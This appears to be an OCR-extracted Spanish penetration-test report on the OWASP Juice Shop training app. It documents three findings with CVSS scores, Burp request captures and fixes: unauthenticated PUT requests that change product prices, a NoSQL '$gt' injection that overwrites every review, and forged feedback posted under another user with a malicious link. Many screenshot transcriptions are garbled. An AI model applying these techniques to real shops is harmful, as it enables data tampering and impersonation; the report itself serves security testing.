RECOMENDACIONES

REFERENCIAS

Product Tampering

9,1 CRITICA

http://juice.shop/api/Products

El endpoint /api/Products no tiene establecido un control correcto para
todos los verbos http con los que se pueden generar peticiones,
permitiendo a un atacante malintencionado generar peticiones ilicitas
y no autorizadas a la APl que permiten cambiar el nombre, precio,
descripcion y otros atributos de los productos.

]
1

Captura del cambio de precio de un producto desde una peticiéon que
no contiene ningun tipo de usuario autenticado

Un atacante malintencionado podria cambiar el precio de todos los
productos aumentandolos tanto que generaria un efecto parecido al
de una denegacion de servicios.

Impacto profundo en la reputacion de la tienda porque quedaria claro
que se habria vulnerado la seguridad de la misma.

Es una vulnerabilidad que permite su explotacién en diferentes facetas,
desde cambiar el precio de productos y dejarlo en un minimo ridiculo,
haciendo que entren pedidos que no podran ser servidos, a subir el
precio al alza, introducir links maliciosos en nuestra web o
simplemente, introducir elementos de burla o desprestigio que afecten
muy negativamente a nuestra empresa.

Pérdida total de la integridad de los datos de nuestros productos.
En los diferentes endpoints de la api y especialmente en cualquier lugar
gue exista una entrada de datos de parte del usuario, se deben revisar

qgue todos los verbos http permitidos y las operaciones relacionadas
con estos.

https://www.cvedetails.com/cve/CVE-2020-4779/

https://esgeeks.com/que-es-http-verb-tampering/
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EVALUACION DE CRITICIDAD CVSS 3.1

Vul_023 PRODUCT Tampering

CVSS3 PUNTUACION CRITICA9,1

Vector de Ataque Red, es accesible desde internet.

Complejidad Baja, no se requiere de circunstancias especiales para realizarla.

Privilegios requeridos Ninguno, se puede realizar sin ningun tipo de inicio de sesion.

Interaccion del usuario Ninguna.

Alcance Sin cambios, la vulnerabilidad nace y afecta a la aplicacion.

Confidencialidad Ninguna, pues no se accede a datos sensibles ocultos.

Integridad Alta, pues permite editar todos los productos de la tienda.

Alta, pues a través de la edicién puede alterar los valores de los
Disponibilidad productos para que no aparezcan en la web y causar una denegacion
de uno de los servicios principales de una tienda online.

EXPLOTACION

Cuando afladimos un producto a la cesta de la compra, se produce una llamada a cierto endpoint de
la api para consultar sus caracteristicas:
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- [H—

"= e anrutes
UgN200@e202022 HTTP/1.1

Request Quary Param,
11; Lirux ¥B5_62; rviSl1.0) Gecko/20100101 FirefoxssL.o

Rexgusst Cackias

Roxuest Hoaders.

Respanse meaders
0 Date: Mon, OB Aug 2022 21314543 GHT
| connection: closs

o
MT1 300, thhcab 6L OTA3IT bS] CaliGr004L Yhs
w2ri EGam | bz

STFoyceca- HaD:
1

Fig. 1: Imagen de la llamada a la api para recuperar informacion del producto.

Como se ve en la anterior captura, se hace una peticion a /api/Products/ seguido del id del producto
y un parametro “d” de fecha.

Si omitimos este parametro “d”, podemos hacer la misma consulta:

X-Frams-Options
re-Polic

Leation/json; charset=utf.a w

Accept-Encoding: gzip,
Bearar N -

03
+ 147 WL VGNT X0 /C 2080+ LUWmCb vzAt w
vary: Accept-Encoding

w10 Dats: Thu, 30 Jun 2022 21:56:54 GHT 3
AV 11 Connection: close

InJvbiGUs 01 ShZG1 pbi 1s 1Rl bHVAZVRYa 2T oi.
1joLYXNzZXRzL381Y mxpY y Op 2
QNOAXZLT ) pocnVLLCI jemvhdGik G401 01 TyMOTy
CiTyMOTYLTRZL n

2LTHATDT 1010401 A1L ] OTHE.
Q1N ArMDAEMDA LC 3k 2w LdGv

21 - £35hvrOaxSLLAVUAOKUs.
T Z38S0ZDLYACUSHErNHN TX 4021

% 13

11 Tf-hone-Match: W/' 177-3952sB75921 reHIr+FKEHIVETUG"

Fig. 2: Imagen de la llamada a la api sin el pardmetro “d”.

Uno de los vectores de ataque que se debe vigilar ante cualquier aplicacion web es una
vulnerabilidad llamada VERB TAMPERING.

Sucede que si el programador define un endpoint como el que nos ocupa para que funcione
ejerciendo consultas a través del verbo GET, pero no delimita el uso de otros verbos, es posible que
al realizar peticiones PUT, HEAD, POST, DELETE, PATCH, etc., se produzcan resultados inesperados.

Es mas, es posible que los filtros de seguridad configurados en el método GET no funcionen en los
otros verbos y se puedan saltar.

Asi pues, aqui es donde vamos a realizar una bateria de pruebas para ver si descubrimos algun
comportamiento no previsto.

Tras las mismas, descubrimos que si usamos el verbo PUT y afiadimos la cabecera “Content-Type:
application/json” podemos construir consultas que actualicen los datos de nuestros productos. De
esta forma, se logra cambiar tanto la descripcion, como el precio.
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roducts/8 HITE/L.1
1.41

& ™
Content-Length
8 ETag: Wy"fc szl
S Vary: Accest-Er
0 Dates Mon, 08 Aug 2032 21:20:26 GMT
1 connectaon: clese

2 on e

12 Content-Langehr 36

1
u ‘—-—__——ﬂ_"-_
15 "description: T hate mokeys”

s

1
I

Fig. 3: Imagen de la llamada a la api actualizando la descripcion de un producto

En la anterior captura vemos la actualizacién de la descripcién de un producto con una cuenta de
usuario de pruebas que solo posee el rol de “customer” y que no deberia poder ejercer esta accion.

Request a==

I o e B 0 =

L BUT fapi/Products/s HITE/L.1
stz 13000

x xBE_84; rvi81.0) Gacke/30100101 Firefox/81.0
sccept: appli e
5 Accept-Langua

s cookieconsent_status=disniss;

mpricer:10.00 “datar:{

crensic Tool (0-saft)r,
pa://owasp.slack.comy target=\"_blankyshore. .. </as",

“daletadnt

Fig. 4: Imagen de la llamada a la api actualizando la descripcion de un producto sin que se requiera el inicio de
sesion del usuario.

En la anterior captura se aprecia como se realiza el cambio de precio de un producto con una
peticién que ni siquiera lleva un bearer token + cookie para autorizarse y, por tanto, es prueba de
gue se puede realizar la explotacién de esta vulnerabilidad sin ni siquiera usar una cuenta de
usuario.

Revisando el cddigo fuente de la aplicacién podemos ver cémo es un caso tipico de “verb
tampering”, en donde el programador, no especifico un comportamiento en la aplicacién para el
verbo PUT.

15 Products: .'--"__._._1_:‘ is allowed in order to view products
16 app.post('/api/Products', security.isAuthorized())
17 i - nrize

18 app.delete('/api/Products/:id', secu rit.y.denyAll{ ))

ESS N

Fig. 5: Codigo fuente de la aplicacion.

Como se aprecia en el anterior cddigo, las llamadas con los verbos POST y DELETE cuentan con
ciertas medidas de seguridad mientras que para PUT no se han definido.

Esta vulnerabilidad se solucionaria definiendo dichas medidas de seguridad para este verbo.

challenge: Produst Tampering (Changs the href &
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VUL _024 — NoSQL Manipulation

oSQL Manipulati

n Vul_024 8,1 ALTA
http://juice.shop/rest/products/reviews

Cuando se genera un comentario en los productos, este se envia a la
APl y se almacena en una base de datos NoSQL.

Esta peticion enviada se puede interceptar y entonces es susceptible

DESCRIPCION de inyeccién NoSQL.

Permite a un usuario sin permisos de administrador editar/actualizar
todos los comentarios de la aplicacidn, pertenezcan o no al usuario.

Request Response

M o ve B 0 = e v on B0 =
]

< fproducts raviews HITP/L.L
42,1841 3000

0 (X11; Linuc x86_64; ry:81.€) Gecka/20100100 FirefasfoL.0
/pLatn, +/
=

< Feature-Poliey: payment a2l
© Content- Typa: asRlication/Ison; charsat-utf-s
7 Content.Length: 308

Gaskn7 F0aqbni

=y 010 VLG L e 03 )11 10k ) 9. ey DzelGF OG0
3B CTSTIEK b 00 LaWN LKA ME] 152 S v, 01 T Ty M1
hagiskilsl joiti iExvZ2LuEKATOLT oL

joiLivibeF:

0= 7B

y N .
TGSHELLDUTNTY A LKZEAT U STRIvD
a1

= o

s et 2ldcT 6111 eI 2gunoaxz
QX DA LyMOT§LT 22, TELTDTWD] E20] UL € JSArDASHDAL LC) LR Gk QXQ0L DT 17
AR L CJh 2w LGV e © SLCIpT 0] E2AT r
KDGAT F2aakHT I NAVSCUSEN

chzhxgzmy

0y 1XEr_pULa3) trh
/934 TPe0s HadmuI Lhg
ntant. Typa: applacation/ison

+ L

7K L .

aL ) Xpr AV w5 10k

£hbGei DLISLT NS,

b Lo 1w Lol et 1

bHAZVRY 2T i T
i

3UBL; ¢ S HDASHD LCI
Tprc

w n a1 Tt e cha
BHZ)3 DT cWFCRINGD0A] Vg3¢s TFetCr MO Lhg
13

vazkg2earenane
o o4 my faversTast oA b

Captura donde vemos una peticion de actualizacion de un
comentario. Como vemos, se envia un id que es una cadena de
caracteres.

Bl o 2
=

Request Response a
o T = T B e o e @0 =
- BTN Jrestroducts/reviews KITR/LL EETIS———

Lo2- 160, a2, 1541 500 3

{
“russagets rad, dlei®,

smarchjuice- sh.opt,

Eorrasy Mol
1 Lz J LT3y 1 JhZGLpE: 122 151

2cimaL
Traldeiel g LyPhLyL A2LTELLDLu0yE2D) I
o i} o) oL i LGk

2
50 ST CONTE Ll T LTI Gl o JgrCRQA
L

| v
§nsa2aldda v

[PEE

a2 - IngucEga - 5
oo BRI S A Dk TS SR E S DT

5at e

15 messanet s Chached h
i

todas las resefias que tengan un id mayor que "a”, es decir, todas.

EVIDENCIA
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Esta inyeccién nos permite actualizar de forma masiva todas las
resefas de los productos e insertar en su lugar, resefias maliciosas
RIESGOS que permitan elaborar otros tipos de ataque a nuestros clientes y
administradores, o simplemente, insertar mensajes que puedan
ejercer una influencia negativa y de desprestigio en nuestra web.

De nuevo se deberia filtrar la entrada de datos en el back end, para
RECOMENDACIONES gue no se pudieran realizar inyecciones NoSQL y se deberia permitir
solo actualizar una resefia cada vez.

https://materials.rangeforce.com/es/tutorial/2019/05/01/NoSQL-

REFERENCIAS . L.
Injection/

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_024 NoSQL injection

CVSS3 PUNTUACION ALTA 8,1

Vector de Ataque Red: el ataque se puede montar a través de Internet.

Complejidad Baja, la explotacidn se logra con una inyeccion basica.

Privilegios requeridos Bajo, se requiere crear una cuenta de usuario corriente.

Ninguna, el atacante puede acceder a la informacidn sin requerir
ninguna accion por parte de otros usuarios

Interaccion del usuario

Alcance Sin cambios, la vulnerabilidad se ejecuta y afecta a la aplicacion

Confidencialidad Ninguna, pues las resefias son publicas.

Integridad Alta, pues compromete todas las reseias de la aplicacidn.
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Disponibilidad

Alta, pues permite eliminar todas las resefias existentes.

EXPLOTACION

Cuando editamos una resefia que hemos creado con un usuario, vemos como se genera una peticion
PATCH al siguiente endpoint: /rest/products/reviews

Request

raw vex B 0 =
1 PATCH /rest/products/reviews HTTR/1.1
Host: 192,168, 42, 194:3000
3 User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:i81.8) Gacko/20100101 Firefox/51.0
secepe: spalication;json, text/plain, °/»

ey I0eXA1 0 JKV1GiLCIbGC 03 JSUET 1N J9. ey) zd GROJML 01 J2 dul] ZXNZ1 i 2GFOYST Sey IpZC] EMSwi dXHLemShbWU D T3 LE

Response

ender [EB \n
1 HTTP/L.1 200 CK
2 fccess Control- allow-Origin: *
3 ¥-Content-Type-Options: nosniif
4 X-Frame-Options: SAMECRIGIN
aature-Policy: payment 'self'
pe: application/json; charsst-uti.g

ETag: W/*135-ZD8A4F G4AKN7700qbmVDGh3s1 780"

J1bWFpbCI 61k bWLuGEp LaWNLLXNOL nOWL i wi cGF2c 3dvemgy 01 Tw Tk y MDL 2Y Td: Y mgaMz1 {j LkZIEAY | UWMCTSINIvb

G 02 JhZG1pba T T nRLBHVAZVRYaZVUT ] 01 Tiwa bOF 2dExvZ21 uSKAd Ca Twl] AUMCAWT 1 wi cHIvZml sZULEYWL 01 ¥ XNz 2zl 381
¥ Y Y9 WFZXMy d XBsh 2Pk y Sk ZWZh X OQWRIE aWuc GSrZ 11 dGROCFNL Y31 LdCI 6T T Tl 2QaNOaXZLI  pOEnWLLC) emhdGf
QX101 TyMOTYLT AZLTELTDIw0) E20j UOLJ c3MSArMDASMDALLC) Y TyMOTyLTAZLTEL E20)UOLcFMSAMD
ASMDR; O3k 2] OV Qs On516Gx 8L €Ip¥ XQi 0] E2NT =M cONTEsTnAc CLEMTY INTMONT QLMXD .0 Ac ZBzk 7pqzXkiDb Vdpo - Ing
KDSGATr 2w b7 HAVAGVIENS 'vmy]xHrJ:vLﬂjm’vvm‘_‘mbzhxqzwn Puxt 15qdk 7eesasSY JnsEah2ol ddsviTwnzPecszs
£BKZ] 1 DIVncWPDPT NomBOA ] g 3 F PcQGr MWOBUT L
3 Content-Type: application/jsen

9 Content-Length: 65

0 Or1gLn: hitp://192.168.42.194:3000

11 Connection: close
2 Raterer: htip://152. 168. 42. 194: 3000/

15 Cookies language==n; welcomebann:
qL70RWL 1 pLLTNT 0T Z-Niy 1 VSLUOSC G

atus=dismiss;
‘90if 5ZHx ] SVAUSSHNDTIAGH

] 26Mr 7E3KVLnLnZoo] JdzRu0QLu2x
MIPgikSH L JKPrAVOL 71 q
ey)0eXAL 01 JKVLOLLCIAbGEL 01 JSUZT 1N 19. ey) zd GFOML 01 J2dul] ZXNZ
3 LbwFpb CI 6T mFk bWLUQSH LN LLXMNOLIGWT 1w CGF2C 2vemaL 01 LMk yHDL2YTdx Y mQ2M2T LMDUxNYwiy) Lk Z)E4Y | LWMCTSTNI Vb
GLA 02 Jh2G1pb T sTmRLBHUAZVAva2VUL ] 03 T3 wi bGF2dExvZ2] uSHAT 02 IwL ] AUMCAWT 1wi cH)vZml sZLTL £ YWdLT o1 XNz ZXReL 361
Y\|xp""f9wanZXM\\J&I}QFM)JKZWZ?uHaDO«RWHdJ.GEn: 1d650cFHLY 2 LdCT 611 TsInl 20WN0aXZ LT jpOcnvLLED janvhday
QXG0 TyMDT yLT A2 TELTDI WD} E20§ UDLj SMSATMDASMDAL L C) 1 eGRhd Gk QX Qi 0F [ yMOL yL TAZLT LOLjeMSarHD
ASHDALLCk 2 LG Q02 O 10Gx OLCIpY XQa 0] E2NT Uzl cONTEs T Ac CLEMTY LNT MONT QLMK . 0 Ac ZBizk 7pqzikaDb ] Vdpo- Ing
KDSQAT r 2wk 17 HAVAGVERS- mOOy ] KBr_pVLa3] tnhy COMj L ObzhigzHya- Pxxt 1sqdk 72256ty jnseshz0l ddavrTwx zpecszs
LEKZ) 1 DIVNGWPEPL NomB0A ) Vg 34c  PCaGrWoguT Lhg

_status=dismiss; cont: de=
tinuecCoderindIt=
ueCodeFixl t=

0¥ S1 By Jp2C1 EMSwL dXNLemShbWL B1T3LE

d 1nd7ydazkoarDC K"
*message”:'One of my fa

testHOLH he

Al analizar los pardmetros enviados vemos un
con el nuevo texto.

9 vary: p ng
10 Date: Wed, 15 Jun 2022 21:16:35 GMT
11 Connactien: close

Frassager:

*One of my favarites|HOLH',
*author*:
*product!
*Likescounte:o,
*Likedsy' [

]

_id":"d7yd3zkgZkeFDenzK.
1

1,
“updated: [
{

‘one of my favaritesivou b,

*message” :
+* admingjuice-sh.of

*authort
*product*
*LikesCount*:0,
*Likedzy i [

+ L 1 d7yd 3z gBeORDe 2
¥

“id” que identificard la resefia a editar y un “message”

Para nuestro ataque, vamos a aprovecharnos de los operadores relaciones, en este caso del

operador $Sgt (mas grande que ... ).

La idea es que en vez de pasar un ID concreto, pasemos un valor como: mas grande que “a”

. De este

modo, la consulta lanzada a la base de datos seria: “actualiza todos los comentarios cuyo id sea mas

grande que ‘a’.

Al lanzar dicha peticidn, se actualizacidn todos los comentarios de la aplicacion sin excepcion:
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Ca e e opmee v e

Dashboard  Target  Proy  itreder  Repeater  Sequencer  Decoder  Comparer  Logger  Extender  Projectoptions  Useroptions  Learn

<
s Respanse c
Pretty  Raw  Hex B " = pretty  Raw  Hex ]
1 PATCH /rns:/prndl.:ts/rwle'».s HTTP/1.1 -
2 Host: 192
2 User AgErr: Sozillara.0 (411; Linux xB_84; rvish.0) Gecko/20100101 Firefar/S1.0 y
4laccept: application/json, text/plain, 1,
S Accept-Language; en-US,en;q=0,5 +pdated"
6 Accept-Encading: geip, deilate {
7 authorization: Beare “mssage" *Pun1d",
&y 309XAL G2 IKV1Q1L CIhb Gei 0 I5U2T 1ML 19, ay ) 2dGROGXML 0L 1 2dWN) ZXNZT1w] ZGROY 5160y Jp2CL 6V EsTn¥zZHIuTWL “authar®
L1 01 1w ZW1hai 01 ) 0ZXNGGGP 1AL LXNOLIX9w] 1wl €GRzc 3dvemii 01,0 Y2A2ZT CONZEZYWZL YHi Z] hi 2T c2Njhhv 22 “sroducts 130,
LS vb 00,0402 s o joaliwi 00 orRlZnLuZeds LEIwcr “likesCount" 0,
mabix LSWIRZ2A 01 hduix OLnH2Zy s Ly dHET 24y 240 03 12 LC) “Tikadey®: [
p»u»]dul.umtnﬂlz&.xviJleR‘th 1oL M Ay OO HCAy My x b, AAHT Mgk D e BV XGRLZEFDL 0 1.
1] Ay M OWOCTZMCAY M) GXME0yiAy 4ZNDCOK o] A 3wl ZGVS ZXRLZEFOL  puchixs T Sa aWFOL exNj ¥ xCOk 3 gzLCJ Lk 34" 5 duT 2F6Fa7ddGouRE"
1.0] E204] ESMT LIZ0DNS . w0) vy xD2ZESBEXaBOr beWOSUMLIKGEL MEe g QzBVa2_K LLOYRGUCFX] 541 vl rksinebol ozbsn- hql 612 Y

KE3R2UKSKILAInEXqT _r X Bdknor yPLaxd] xS274F CNELDAAIA_URYZ] 514r 2MBs2IMeuB04k ] LT mHg 7bY met ik ve {
content-Type: application/jsen “message
Content-Length: 24 ~suthor
0 Origin: http://182.168.1.41:3000 “oreduct 132,
1 connection: close -hkescnumw|
(k712 168.1,41:3000¢ “LikedBy" ; [
guage=an; wel.comaban s=dismiss; cookieconsent_status=dismiss: continueCode=
‘MB{J(_\JE}VmEleLMG(CSLuU[ 7660137 NveVg2ZrDk qdB; continueCodsFindl
PYynakgQnVKbROOGaNax Y Liay KESatERTBLDM S2LERING Py 2 continueCodeRaalts
b BYp0ZaMT0] AGRN2EXADdSHxSPhS1 3Z5PLbK 76 ken

1.
*_id" ;" dud Gh7hS6AT B4HZaD"

ey 0eXAd Ca JKV10ILCIhbGe1 02 DS INLIS. ey, 12GFOY S1GeyJp2CLEM] EsInVzZXJIuYWl ‘Punld®,

1101 11 ZWLhabhvz 01, 0ZXNGGGR 1w TCONZE2TWZL N 2] 2T 222 adrindjsice-sh.op",
Trmy LSt sz vbous 011 jdxnchiz1l x4 03 1 LRl ZnLUZWGE L wcra 1.

manx L Swithz2n 0 v Count’ 0,

e jdol 2z ki toca v Ly RRL2Eror | “Tikeday': [

Mty Moy Ay ADoK ) s 2RI ZEROT ) pudxs 1 =0T ) 0x0) YX0DK 3 921 C1L ee 1
WO LYY XD2ESBEXGBO FbEWOSUMLKEL rE QzaVaz_K LG Bblqzbso- hqL o1z + i ¢+ fadanksgupyxdead
DA4)4_URV2] 514rZMBS 2MNUS04K] ] LT RHG7bY meaKT ve

1M} Ay DT
10) 2] ESPTUZODR
Kt3R2VKSKILMINEXAT_rEXBdkner yPLSxdLXSZ7AT oy

4 {
=l “messager
Lt “author® hajuice-sh.op*,
“sgtritar “product
1. *LikesCount” 0,
12 *message’:*Panld: “Likedy" ;[
i

_id":* fBukePkATeGz I

‘messaga* 1 Bunld*
“aushor”:biser,

Esta accidn se puede llevar a cabo desde cualquier usuario con cualquier rol existente porque no se
realiza otra accion de autorizacidn en el back end que la de comprobar si la peticidn contiene un
“bearer token”

Si realizamos la peticidon sin ningln token, entonces se rechaza.

Raw Hex n Pretty Raw Hex
1 PATCH Jrest/products/reviews HTTR/1.1 1 HTTP/1.1 401 Unauthorized
2 Host: 192.168.1.41:3000 2 Access-Control-Allow-Origin: *
3 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 3 X-Content-Type-Options: nosniff
4 : application/json, tsxt/plam, e 4 X-Franme-Options: SAMEORIGIN
5 en-Us,en; S Feature-Policy: payment 'self’
6 qzip, deflate 6 Content-Type: application/json; charset=utf-g&
7 Content-Length: 506 7 Vary: Accept-Encoding
8  Date: Tue, 30 Aug 2022 22:21:04 GHT
S Content-Type: application/json 9 Connection: keep-alive
10 Content-Length: 44 10 Keep-Alive: timeout=5
11 Origin: http://192.168.1.41:3000 11 Content-Length: 234
12 Connection: close 12
13 Referer: http://192.168.1.41:3000/ 13{
14 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; 14 verrorti{
conti nueCode=zMvERL5Xb j 6PnOmBy 1V aJ KWGk 0SLi xUoDf 26Gp137Q9xEozNy eVg2Zr Dk q48; 15 "message’ :"No Authorization header was found",
conti nueCodeFindI t=pYynakgQnvkbpoOGawaxdy 13eyX8SqtneR7ELDMYS21 EoSNGrIPj zmwjozrb; 16 “name” :* UnauthorizedError ",
ContinueCodefi xI t=6wbYBYp0zqMmO] 4QRWZEXwDdovk x5PhS1376PL bK 7iorvgySNnEI L oeSDKYN; 17 vcodet v credentials_required:,
15 18
16 19
17 videi{ 20 "message":"No Authorization header was found"
18 "ggt":'a 21 ¥
o}, 22| }
20 "message" :*Punld"} 23}
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VUL 025 — Forged Feedback

FORGED Feedback

DESCRIPCION

EVIDENCIA

RIESGOS

RECOMENDAC
IONES

REFERENCIAS

7,7 ALTA

http://juice.shop/api/Feedbacks

El filtrado de los feedbacks mandado en la aplicacion solo filtra y autoriza los
datos enviados a nivel del front end.

De esta forma, un usuario malintencionado puede interceptar la peticion
enviada al back end y crear un feedback en nombre de otro usuario alterando
la misma.

También es posible enviar links maliciosos y publicarlos en nombre de usuarios
confiables.

Request O == NspECTOR

[-.... [T - U [
' Guery Faram

4; ru181.00 Gacko/ 20100101 Tirefor/1.0
Koo cock

Request Hea

TN I8, 7 ACFORAICA TN PAT 1 TR ST 68 7T SR TN Response e
gLl =

b1z

o, hz2 o
ol ST T i

R et el el e
LEIPN2ERY 3004 L- 6Ln2- HYHege B2 pEZL Lx Uow!

Captura de un feedback realizado por un usuario regular en nombre del
administrador de la web

Esta vulnerabilidad afecta sobre todo a la integridad de los datos mostrados
en la aplicacidn pues podemos ver feedback’s que parecen ser de un usuario
cuando en realidad no lo son. Esto permite generar campafias de desprestigio
o incluso de insertar links maliciosos por parte de un atacante en nuestra web
pretendiendo ser provenientes de una fuente confiable.

Es muy importante que todas las entradas de datos que recibe el back end se
filtren nuevamente porque es posible interceptar y alterar todas las peticiones
enviadas al mismo.

https://www.packetlabs.net/posts/broken-access-
control/#:~:text=Broken%20access%20controls%20are%20the,10%20web%2
Oapplication%20vulnerabilities%20list.
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EVALUACION DE CRITICIDAD CVSS 3.1

Vul_025 FORGED Feedback

CVSS3 PUNTUACION ALTA 7,7

Vector de Ataque Red, es accesible desde internet

Complejidad Baja, no se requiere de circunstancias especiales para realizarla

Privilegios requeridos Bajo, se requiere una cuenta normal de usuario

Interaccion del usuario Ninguna

Con cambios, la vulnerabilidad nace y afecta a la aplicacion, pero
puede llegar a afectar a los usuarios si se redirigen a sitios maliciosos.

Alcance

Confidencialidad Ninguna pues no se accede a datos sensibles.

ALTA pues permite crear feedbacks en nombre de otros usuarios o
dicho de otra manera, falsear la informacién disponible

Integridad

Disponibilidad Ninguna, no permite denegar el servicio

EXPLOTACION

Su proceso es simple.

Desde una cuenta de usuario cualquiera creamos una peticion de feedback que interceptaremos con
una herramienta como BURP.

Ha dicha peticidn le cambiaremos el valor del ID de usuario por el que ID del usuario que se quiera
suplantar y la enviaremos al front end que la aceptara sin ninglin problema.
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= = | NsPECTOR

Request Response
Raw Hox B X e e o B 0 Roquest At

1 POST fap3 /Fesdbacksf HTTR/1.1 TR 20 crastes

7 Host: 192.168.42.184: 3003 2 1-Allow: Origin: * Guery Param

3 User-Agent: Mozilla/S.© (X11; Linux x86_64; rvi01.0) Gecke/2010010l Firefox/0l.0 3 x. (&ﬂtf"t Type-Options: nosmiff

¢ Accept: application/) som text/u\aln, - A K-Frame. Om:wns. sm ORIGIN Request Coob

13 en-L = Feature-Palic it ‘sell

& & Locati Jap: w.’F< vdl acks/: Request Heal

e, del e

hutharization: Ssarer oplicationsisons charssteuté-8

Contant-Typs

102Kz 01 JKV101 LCIRBGEL 01 OSUZT INLS, eyzdl a MjESInVEZI) conten=-Lange Response He:
LT o1 141241 ho 01 2 NG MO acaie e o TN BT Y02 a1 - € ZEHHSTZZPRSHLAFS KT TE DB
bRy sguai o joxebail st eLbiazimeant joiiwiborrdcnzzlusanin ja | 10 acy: Mcapt- Encoding

Lerwdl1joi L 1hz2v=L 5ol SzdmcilCICh3t 11 Oate: Sun, 26 Jun 2032 22

DM} Ygit] EEPDCBUDCLMDEY T CowlDo 12 Connaction: closs
2 TnAlbGVOTWRRACT SbnvebiBsTl 13

.uzuJ e e LT z».ramacm]xm
4 OTURBCT T T LAY ] g EEMDC YUMot
1N T3NEY ZMCws ZthT Joxb UZM] kL e Q. £dbHGH
-_Bdz8ENE7C L2aY O NLZtGrENP2ErY Sl - 0Ln2. n*mqwm..uzzmcxu'vumm]n ertdasmve
¥ ahVOXaCr AL e 2y ZXNaCRa Dy dH
& Centent-Type: application/jssn

2 GontentLangth: o1 dea,
Rttp:/ /192, 168,42, 194: 3000 ice-sh. o) A ——

10 origin
11 Connectzon: close
12 Peforer: Wethe 192,168, 42. 15430007 ez oz 3. 4
13 Cookie: Lnguege Lcomebannar_status=disriss; cookisconsent_status=dismiss; as.a
concuecos bqu NSZ7hyaCDed ; toks
FrrS1Ey) 2201
PLCTAT =Rl bHYAZT FAanVpY 2Lt < 3gub A LC Y XNz 20y ZCTAT U3 TxNTG
H2FLZ) Az ENIh T LG Or v cr 250 S 3Py v 20U DT LYGOr 204, 0L AL I YT o
NS5 CEIEL] AUMCAL ] A2 LCIwcn@man | 5u1hZ2\s 3 LvY XNz 2L IELY mepY y 9 bFN v KEsh 2k cy ek Znzhd i
I iy 200, oL Lo el s EATE MR S MO ONLENTautzs
Bk XRLZEFOT § o1 Mj AyHi Outti 0y NLQyMT oM 10T 4y 2Rl ZEFON iz S
O LM ANTCAL G5 oI ENTYyOT 1 RS bUCbS. Ceryh | 024 CoMMotm 219wz QU Heied 1eEhKS
QMNEDS_caW] TanS-FaxHIG) ] APGO°] JOLM) ROREFBLRN_Gk MPXWNSZBAI ¥ 2-C W] O5UJw78cd2f Mtk _POGS a7y
sk a0yahsspTe e

e Tjeize

IR Tiwi 761

“captchat ;2
"comment” ;
“rating':2

sh.op) ",

mjuice

Asi mismo, podemos insertar links en los feedback como se demuestra en las dos siguientes capturas

ademas de alterar otros valores:

BN = | Pty Aaw  Hex  Fend

Pretty  Raw  Hex
T POST /api /Fesdbacks/ WITR/1.1 HTTP/1.1 201 Created
2 Host: 192.168.1.41:3000 Access- Contral-Allow-Origin: *
3 Usar-Agant: Mozs1LasS.0 (XL Livux 186645 rvisl.0) Gacko/20100101 Farsfax/9L.0 X-Content-Type-Options: nosniff
4 necept: application/]s: xt/olain, 47 2 X-Frame-OpTions: SAMECRIGIN
Recept-Lungubge: en.is, enigi0e5 5 Fasturs-Bolicy: payment 'sslf'
6 Accept-Encoding: gzip, defla Location; /api/Faedbacks/9
7 Authorization: Bearer 7 Camtent-Type: application/jsen
hb

charset=utf -8

ZXNELiW 2GFOYSI By IpZELEN Lemshbw & Content-Length: 219

T Lo AbCT 5 el T et ATt o vt LMy MDL2 T Y3z n:uumumm ETag: W/" db-WeY 42T ImsOUNMDHDCS/ yKaxabo"
ST 0 T T 1T jorT 1w bRz dE SXA1 01 Tl AUMCEduT 1w cHIvZ sZUL | 10 Vary: Aecept-
T

m:u,mmuwus Ymapyy aldclelalsInl | 11 Cate: Tue, 06 Sep 2022 22:04:43 GM
2qw0axzL jpoc mdui(vkmq LT)IOTJLTASLTAZIOLYO) YD) [OLj CxWSATIOABMDALEIGCPIGIGIOLT | 12 Gonnection: clasa
y‘nuunsu:.z)[yn 2Y0] 0L X0 16GKSLCIpYXGLOJEZ T INDEANEST mvéec] | 1
6T Y241 Ux T gwHKO. ki aLhG | whm;u.wt,wwrummm.bmmgw 12taWCogcpt 2Zkmunc CHFUL2GRSFO7 | 1
€13xCHPahrVexn) 6X31310PARNucW_kSDBUIg1LVAURhi GVG0pO_ Y377 qAg7PhomdF LhchCl Fripl o1 LTrhETOgke

& Content-Type: applicarion/json

s Content-Length: 1

> (03 0@ Ui ca- sh, op

smalic

s,
teomnent: tca b

A% http://152.168.1.41:3000 1ciese.c os0. co
11 Connection: close
: http://102.168.1.41:3000/ .
LAmuAgeé'\' welcomebanner_status=tismisa; coskieconsent_statusstisniss; contiruecode= ‘updatedat: :+ 2022- 09-06T22:04: 43. 560",
FENXEMLr g a1t *craatadat! ;' 2022. 03- 01 4:43., 560

i

PYy drl J<J.'lMJ02rh,
4 i '
h G szch i 2GFOY 16y IpZCL EMSW dNL
Lol F-hldluf)(wlau‘\ll oL i CFzc3dvemts O [wMTky MDLETEL P HOZHET DUl 2 )&
] MCT 8T 1Vb LA 0 JhZG1pha TS TwAL 7301 T1wi bOFzdE, Tul ) AMCAuT 3w eI v ZmLaZUL
rasldeiglalsinl

VLI ol Y XNZZXREL3BLYmAp Y P ¥
NG XL UL AR AR QXGL O YT gL.TASLTAZTIT y0) Ay} TG0 ] XA HDABHDALL 3¢ UGN G
MDIYLT ASLT A21 07 y03 AY0] [OL ] CXMGATMDAGMDALL CJ4 2 LAGUK QXL D51 BCXGLCIPYXQH OJEZN) T IMDEAMDEST mvacc T
T Y24 T GaMKO. kel aLhG_D3hgxaguoBGK tyUaLOr dNSt kL 51Xk GMGEZT 1 L2t aWCogep' 2Zhmuuhc CFUL ZGRSF07
13CHPahrVexn) GX31330PAKHwc_k SDBUIGL VAU LG VdORO_TY .37 Teqag7RhamaF Lok tTAhETOakw

*eaptehara:o,

*comment* “<a href='http://maliciose.corf #naliciose.coms/as (***injuice-sh.op)*,
“rating
“user1d

About Us

Corporate History & Policy

Lorem ipsum dolor sit amet, consetetur sadi elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et
accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing
elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
